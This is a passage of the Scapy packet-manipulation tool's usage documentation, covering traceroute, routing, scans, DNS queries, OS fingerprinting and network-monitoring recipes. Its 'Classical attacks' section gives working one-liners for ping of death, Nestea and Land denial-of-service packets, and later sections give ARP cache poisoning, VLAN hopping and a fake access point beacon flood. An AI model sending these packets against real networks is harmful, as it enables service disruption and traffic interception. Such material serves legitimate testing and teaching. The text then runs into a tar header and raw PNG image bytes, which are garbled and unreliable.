216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 Here is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack as 172.20.80.201 and that 172.20.80.197:25 is not answered by the same IP stack as other ports on the same IP. :: >>> ans, unans = sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("%IP.id%"))) 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567 It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. Routing ------- .. index:: single: Routing, conf.route Now Scapy has its own routing table, so that you can have your packets routed differently than the system:: >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 Matplotlib ---------- .. index:: single: Matplotlib, plot() We can easily plot some harvested values using Matplotlib. (Make sure that you have matplotlib installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: >>> a, b = sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda x:x[1].id) [] .. image:: graphics/ipid.png TCP traceroute (2) ------------------ .. index:: single: traceroute(), Traceroute Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, Scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (, ) The last line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. >>> result, unans = _ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]) Like any result object, traceroute objects can be added : >>> r2, unans = traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph. >>> res, unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file .. image:: graphics/graph_traceroute.png If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: >>> res.trace3D() .. image:: graphics/trace3d_1.png .. image:: graphics/trace3d_2.png Wireless frame injection ------------------------ .. index:: single: FakeAP, Dot11, wireless, WLAN .. note:: See the TroubleShooting section for more information on the usage of Monitor mode among Scapy. Provided that your wireless card and driver are correctly configured for frame injection :: $ iw dev wlan0 interface add mon0 type monitor $ ifconfig mon0 up On Windows, if using Npcap, the equivalent would be to call:: >>> # Of course, conf.iface can be replaced by any interfaces accessed through IFACES ... conf.iface.setmonitor(True) you can have a kind of FakeAP:: >>> sendp(RadioTap()/ Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2="00:01:02:03:04:05", addr3="00:01:02:03:04:05")/ Dot11Beacon(cap="ESS", timestamp=1)/ Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/ Dot11EltRates(rates=[130, 132, 11, 22])/ Dot11Elt(ID="DSset", info="\x03")/ Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), iface="mon0", loop=1) Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it. Simple one-liners ================= ACK Scan -------- Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:: >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) We can find unfiltered ports in answered packets:: >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print("%d is unfiltered" % s[TCP].dport) Similarly, filtered ports can be found with unanswered packets:: >>> for s in unans: ... print("%d is filtered" % s[TCP].dport) Xmas Scan --------- Xmas Scan can be launched using the following command:: >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) Checking RST responses will reveal closed ports on the target. IP Scan ------- A lower level IP Scan can be used to enumerate supported protocols:: >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) ARP Ping -------- The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) Answers can be reviewed with the following command:: >>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") ) Scapy also includes a built-in arping() function which performs similar to the above two commands: >>> arping("192.168.1.*") ICMP Ping --------- Classical ICMP Ping can be emulated using the following command:: >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP()) Information on live hosts can be collected with the following request:: >>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") ) TCP Ping -------- In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) Any response to our probes will indicate a live host. We can collect results with the following command:: >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") ) UDP Ping -------- If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) Once again, results can be collected with this command:: >>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") ) DNS Requests ------------ **IPv4 (A) request:** This will perform a DNS request looking for IPv4 addresses >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A"))) >>> ans.an.rdata '217.25.178.5' **SOA request:** >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA"))) >>> ans.ns.mname b'dns.ovh.net.' >>> ans.ns.rname b'tech.ovh.net.' **MX request:** >>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX"))) >>> results = [x.exchange for x in ans.an.iterpayloads()] >>> results [b'alt1.aspmx.l.google.com.', b'alt4.aspmx.l.google.com.', b'aspmx.l.google.com.', b'alt2.aspmx.l.google.com.', b'alt3.aspmx.l.google.com.'] Classical attacks ----------------- Malformed packets:: >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) Ping of death (Muuahahah):: >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) Nestea attack:: >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack (designed for Microsoft Windows):: >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) ARP cache poisoning ------------------- This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning:: >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation:: >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) TCP Port Scanning ----------------- Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: >>> res, unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports :: >>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) IKE Scanning ------------ We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:: >>> res, unans = sr( IP(dst="192.168.1.*")/UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Visualizing the results in a list:: >>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) ) Advanced traceroute ------------------- TCP SYN traceroute ^^^^^^^^^^^^^^^^^^ :: >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) Results would be:: >>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA UDP traceroute ^^^^^^^^^^^^^^ Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:: >>> res, unans = sr(IP(dst="target", ttl=(1,20)) /UDP()/DNS(qd=DNSQR(qname="test.com")) We can visualize the results as a list of routers:: >>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src)) DNS traceroute ^^^^^^^^^^^^^^ We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets 4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ... Etherleaking ------------ :: >>> sr1(IP(dst="172.16.1.232")/ICMP()) >> ICMP leaking ------------ This was a Linux 2.0 bug:: >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) >>>> VLAN hopping ------------ In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:: >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) Wireless sniffing ----------------- The following command will display information similar to most wireless sniffers:: >>> sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}")) .. note:: On Windows and OSX, you will need to also use `monitor=True`, which only works on scapy>2.4.0 (2.4.0dev+). This might require you to manually toggle monitor mode. The above command will produce output similar to the one below:: 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble Recipes ======= Simplistic ARP Monitor ---------------------- This program uses the ``sniff()`` callback (parameter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. :: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) Identifying rogue DHCP servers on your LAN ------------------------------------------- .. index:: single: DHCP Problem ^^^^^^^ You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. Solution ^^^^^^^^ Use Scapy to send a DHCP discover request and analyze the replies:: >>> conf.checkIPaddr = False >>> fam,hw = get_if_raw_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets In this case we got 2 replies, so there were two active DHCP servers on the test network:: >>> ans.summary() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP We are only interested in the MAC and IP addresses of the replies: >>> for p in ans: print p[1][Ether].src, p[1][IP].src ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11 Discussion ^^^^^^^^^^ We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DHCP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. See also ^^^^^^^^ http://en.wikipedia.org/wiki/Rogue_DHCP Firewalking ----------- TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans: if r.haslayer(ICMP) and r.payload.type == 11: print s.dport Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:: >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print i.dst TCP Timestamp Filtering ------------------------ Problem ^^^^^^^ Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. Solution ^^^^^^^^ To allow Scapy to reach target destination additional options must be used:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) Viewing packets with Wireshark ------------------------------ .. index:: single: wireshark() Problem ^^^^^^^ You have generated or sniffed some packets with Scapy. Now you want to view them with `Wireshark `_, because of its advanced packet dissection capabilities. Solution ^^^^^^^^ That's what :py:func:`wireshark` is for! .. code-block:: python3 # First, generate some packets... packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP() # Show them with Wireshark wireshark(packets) Wireshark will start in the background, and show your packets. Discussion ^^^^^^^^^^ .. py:function:: wireshark(pktlist, ...) With a :py:class:`Packet` or :py:class:`PacketList`, serialises your packets, and streams this into Wireshark via ``stdin`` as if it were a capture device. Because this uses ``pcap`` format to serialise the packets, there are some limitations: * Packets must be all of the same ``linktype``. For example, you can't mix :py:class:`Ether` and :py:class:`IP` at the top layer. * Packets must have an assigned (and supported) ``DLT_*`` constant for the ``linktype``. An unsupported ``linktype`` is replaced with ``DLT_EN10MB`` (Ethernet), and will display incorrectly in Wireshark. For example, can't pass a bare :py:class:`ICMP` packet, but you can send it as a payload of an :py:class:`IP` or :py:class:`IPv6` packet. With a filename (passed as a string), this loads the given file in Wireshark. This needs to be in a format that Wireshark supports. You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. This accepts the same extra parameters as :py:func:`tcpdump`. .. seealso:: :py:class:`WiresharkSink` A :ref:`PipeTools sink ` for live-streaming packets. :manpage:`wireshark(1)` Additional description of Wireshark's functionality, and its command-line arguments. `Wireshark's website`__ For up-to-date releases of Wireshark. `Wireshark Protocol Reference`__ Contains detailed information about Wireshark's protocol dissectors, and reference documentation for various network protocols. __ https://www.wireshark.org __ https://wiki.wireshark.org/ProtocolReference Performance of Scapy -------------------- Problem ^^^^^^^ Scapy dissects slowly and/or misses packets under heavy loads. .. note:: Please bare in mind that Scapy is not designed to be blazing fast, but rather easily hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance cost. Of course, we still do our best to make Scapy as fast as possible, but it's not the absolute main goal. Solution ^^^^^^^^ There are quite a few ways of speeding up scapy's dissection. You can use all of them - **Using a BPF filter**: The OS is faster than Scapy. If you make the OS filter the packets instead of Scapy, it will only handle a fraction of the load. Use the ``filter=`` argument of the :py:func:`~scapy.sendrecv.sniff` function. - **By disabling layers you don't use**: If you are not using some layers, why dissect them? You can let Scapy know which layers to dissect and all the others will simply be parsed as ``Raw``. This comes with a great performance boost but requires you to know what you're doing. .. code:: python # Enable filtering: only Ether, IP and ICMP will be dissected conf.layers.filter([Ether, IP, ICMP]) # Disable filtering: restore everything to normal conf.layers.unfilter() OS Fingerprinting ----------------- ISN ^^^ Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: >>> temp = 0 >>> for s, r in ans: ... temp = r[TCP].seq - temp ... print("%d\t+%d" % (r[TCP].seq, temp)) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310 nmap_fp ^^^^^^^ Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: >>> load_module("nmap") If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: >>> conf.nmap_base Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: >>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) p0f ^^^ If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: >>> conf.p0f_base For example to guess OS from a single captured packet: >>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) scapy-2.4.4/doc/scapy_logo.png000066400000000000000000000644321372370053500162700ustar00rootroot00000000000000‰PNG  IHDRS‹Ò, ªtEXtSoftwareAdobe ImageReadyqÉe<&iTXtXML:com.adobe.xmp Ê; îeŠIDATxÚì¸EÖ† ‘ ˜Ѝ˜®è sÎ9ç„á®w kkÖ5ç,zUtÍYâ(æœñÖœ” òÇ.\Äfzºgº«ß÷y¾­Y¹ÓÓuº»úëêªS톆¦úŽ*f“æðåìÒŒÒ ¾œô¹³W7©«ÔÞ«K?ñ‹ô³4^%•~šL?HßN¡/¤¯¤ÏÔ5Žå(AÞhG‚2KTôöšOšGê9™fÊx¾—¾”>’>>ô²ÏïÈlä(f ’0MÖƒÔGªóå¢Þ@ÍxÕ­ëm3VÒ›ÒëÒk2Y_qVf Z2NÖ£´”´„/ûJs™?ñ7V/I/z½+“5‘Ðf  XÆÉÆ'-#-'-ïËYˆL,~”ž“ž‘ž´Ræê˜)€°ÌÓô*V’Vó²Þ§©ˆL*X/U“ô„ôˆô°ÌÕ7„0Sù2OÓªXAZÇ«/mqMyC& ñæj!Ì@ö Ô¼*6‘Ö—V‘:•L2ÎE½Vÿ‘î—±zf  6æÉ^Ó­à Ô†.šqùÃÒ3Üíõ¸ÌÕ8B˜)€ô ÔÔ.ó´µ7Qs• °ëƒ¥[¤!2V¿ÀLTn ¬Ê^Ûí mé¢ìá>6Kpt³ôz¬3P¾‰²w;JÛI=ˆH¡á¢ÞªËT=K80SвšÅ¨Ý¥Åˆ4ûÒ5Ò@«Ïf ½Æ[OÚSÚHê@T ~“î—®”ó3PD5«7PõR/"`k^n’©ú”p`¦B7Q–Î`isG/$Ë Z¿HzTÆj!ÁL„b ¦Q±•t€‹ÖÄH›±’ VßO¦j8áÀLäÕDÙšx vC“æ$"P#Þ–Ž©º‹P`¦òb¢,™æÞHu#"llÕ1Ò2V f ‹&ª§Š#]”Ú€ñPU,ÓúIÒù2Uã f &ª·Š£]”¥ya”t²t¦ 3P+5Ф¤©‰䔟¤c¥ dª~#˜)€j˜¨Ù]ô:ÏÆDÑ¡`¯ÿ‘¡º’P`¦Ò2QÝUæ¢'˜)€4 TW½¦ÚYZMšŠ¨@@ü"m-Cu¡ÀL$m¢fVñ/zž tΔg¶f e¹övÑ4ânD Ä.ÊI5šP`¦â©TÜ,-A4  XÚ„d¨Þ#…q­©T¼„‘€‚c“jšÔ&®C(0Så©ÃT\/u%n鵊?Ãk>€æÔ)*þI$šå:i×u¿ Ì@sFê g €VyÒEËÐŒÅLÀäFjcƒˆ@IØ€ôee¨¾ÅL€©ž*^‘f %óÔ¯È3ý€ð?b¤ÊfFé5=þf  À¨ØQÅD ¥çÕ–®ZÄÊóš0RMõ6Ý×öœ›hüÁ^#½&ýÿÖwº¸(È´¾´ÿo«ÌÂ=§Øì>[ÓïŽ"Uº=ÇÀ펑‚1Nú¯ô±×çÒgÒ§^_êF8"…‡–©½¡2ÍáË9¥¹¤Þ^ózCùÅÞxÝf½ý:n,J¥yJ€B£ Þ®땚h@`Œ’^—Þ’Þ”ÞöåºÉÏèõh†Ë&‚Ì/Ù2N}\´ú€ÅéÌ!Í{ë\»3¾™ZIÅãDrί.š‰ú‚ôœ/ß %¡¢®SëíXPêëÍ•i½B f  Æôå*ê‰äŒÑÒ0¯GÍHé†5®`×n{o®lÀóÊ^3rjd’ƒu~žƒ™·AþPÅòæéné1Ýx&’D®u»×Ù ö­$»î™pR;v×y=3N{¼ŠãˆÔ[Ó̦_«›Ìs„£*×~?ÛyÍADªÊDi ëwa¦ÂhPoðO©ÕÆfßÙ+¼k¥ûŠ6x)H°¹Ã?°]å¢ÖP:ûËŒn’õä5]¨Ó«øPêN4 -¸Ú_7¾á„Rlo–T1HêA4Jæi!]›eu陞ëPq2‘(tC}¤´F ªÐ޼䢜Tç8z©J¥£ô°Œè4YÝAz¦¢§Å*^–%…ÂòŒí¤Ü„jÐîX®;{<Ñ(‰u­îÅ£g Àý1vª¿Ä´Åà7­£×#5lw^uÑ×’ØÞ¯˜9è™øó“â¾.Êb áò™´ƒnd ÈPÛ³žŠÛ¤.D£Uìµ|o]¿Ÿb¦²Ý¨5ªØ“H‰åÛM ñ·„2Øǫ̈â!i ¢Ñ*MÒ⺎'de‡xÍÐL›&ÝA‚Â][æcSŒd›ß©XJ:Ó18½5ê¤S²´CôL4ÿ„hÒ¯v!¹ç i[ݨ'£6h-õ¤NK4šÅ̦y|3íÆÌ®¹hÚ<×J>yFÚ\ î—„rØÍ©â)¥R€¿b×õ¼º¾®õŽðš l=(éh}´¡ß‘Üq¥´*F 